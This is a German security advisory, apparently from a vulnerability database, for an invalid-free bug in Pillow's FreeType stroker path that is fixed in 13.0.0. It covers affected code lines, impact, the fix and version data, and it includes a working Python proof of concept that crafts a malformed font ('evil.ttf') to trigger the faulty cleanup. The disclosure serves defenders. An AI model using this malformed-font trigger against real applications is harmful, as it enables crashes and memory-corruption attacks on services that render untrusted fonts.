Pillow: Ungültige Speicherfreigabe beim FreeType-Glyph-Rendering bei aktivem Stroker
Zusammenfassung
Wenn Text mit einer Strichbreite ungleich null gezeichnet wird, erstellt Pillow einen FreeType-Stroker und lädt anschließend jedes Glyph. Wenn FT_Load_Glyph für ein Glyph fehlschlägt, ruft der Bereinigungspfad FT_Done_Glyph für die Variable glyph auf. Diese Variable wird vor der ersten Messschleife nicht initialisiert und in der Renderschleife nach der Freigabe jedes Glyphs nicht wieder auf NULL zurückgesetzt. Eine manipulierte Schriftart, die aus nicht vertrauenswürdigen Bytes geladen wird, kann diesen Ladefehler erzwingen und diesen Freigabepfad erreichen. Dabei handelt es sich um eine latente Speichersicherheits-Schwachstelle; ob es zu einem Absturz kommt, hängt vom Wert im uninitialisierten oder veralteten Zeiger ab.
Details
glyph wird ohne NULL-Initialisierung deklariert:
src/_imagingft.c:848
Die erste Messschleife kann zu glyph_error springen, bevor glyph überhaupt zugewiesen wird:
src/_imagingft.c:1010-1013
In der Renderschleife wird das Glyph am Ende jeder Iteration freigegeben und nicht wieder auf NULL zurückgesetzt:
src/_imagingft.c:1242
Die Bereinigungslogik gibt es frei, sobald ein Stroker existiert:
src/_imagingft.c:1253-1256
ImageFont.truetype akzeptiert ein Dateiobjekt oder Bytes, sodass die Schriftart von Angreifern bereitgestellt werden kann.
PoC
Hierfür werden fontTools und eine beliebige Basis-TTF benötigt (das Beispiel verwendet eine, die den Pillow-Tests beiliegt). Es überschreibt das Glyph "A", sodass es 5000 Konturen in einem dafür viel zu kurzen Glyph-Körper beansprucht, wodurch FT_Load_Glyph einen Fehler zurückgibt, während sich die Schriftart dennoch öffnen lässt.
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()
raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
rec = 12 + i * 16
tag = bytes(raw[rec:rec+4]).decode("latin-1")
off, length = struct.unpack(">II", raw[rec+8:rec+16])
tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer
Ergebnis auf dem festgelegten Build: FT_Load_Glyph gibt einen Fehler zurück und die Ausführung erreicht die Bereinigung glyph_error, die FT_Done_Glyph(glyph) aufruft (das Plugin meldet OSError: invalid outline).
Auswirkungen
Anwendungen, die Text mit stroke_width != 0 unter Verwendung von aus nicht vertrauenswürdigen Bytes geladenen Schriftarten zeichnen, können von einer ungültigen Freigabe oder einem Double Free betroffen sein. Die Korrektur umfasst die Initialisierung von glyph = NULL und das Zurücksetzen auf NULL nach jedem FT_Done_Glyph.
Was zu tun ist
Aktualisieren Sie Pillow auf Version 13.0.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | pillow | >= 10.0.0, < 13.0.0 | 13.0.0 |
Verweise
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47
- https://nvd.nist.gov/vuln/detail/CVE-2026-112893
- https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-457, CWE-763- Plattform
- Python (PyPI)
- Paket
pillow- Veröffentlicht
- 21.10.2026
- Aktualisiert
- 22.10.2026 00:04
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-j4m9-6w36-pw47 - CC BY 4.0
Schwachstellenhistorie: pillow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 89
- Erste → letzte
- 04.2014 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 1
Verteilung nach Schweregrad
- Kritisch 12
- Hoch 57
- Mittel 18
- Niedrig 1
- Nicht bewertet 1
Veröffentlichungen pro Jahr
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
früher: 12
-
Pillow: Ungültige Speicherfreigabe beim FreeType-Glyph-Rendering bei aktivem Stroker dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.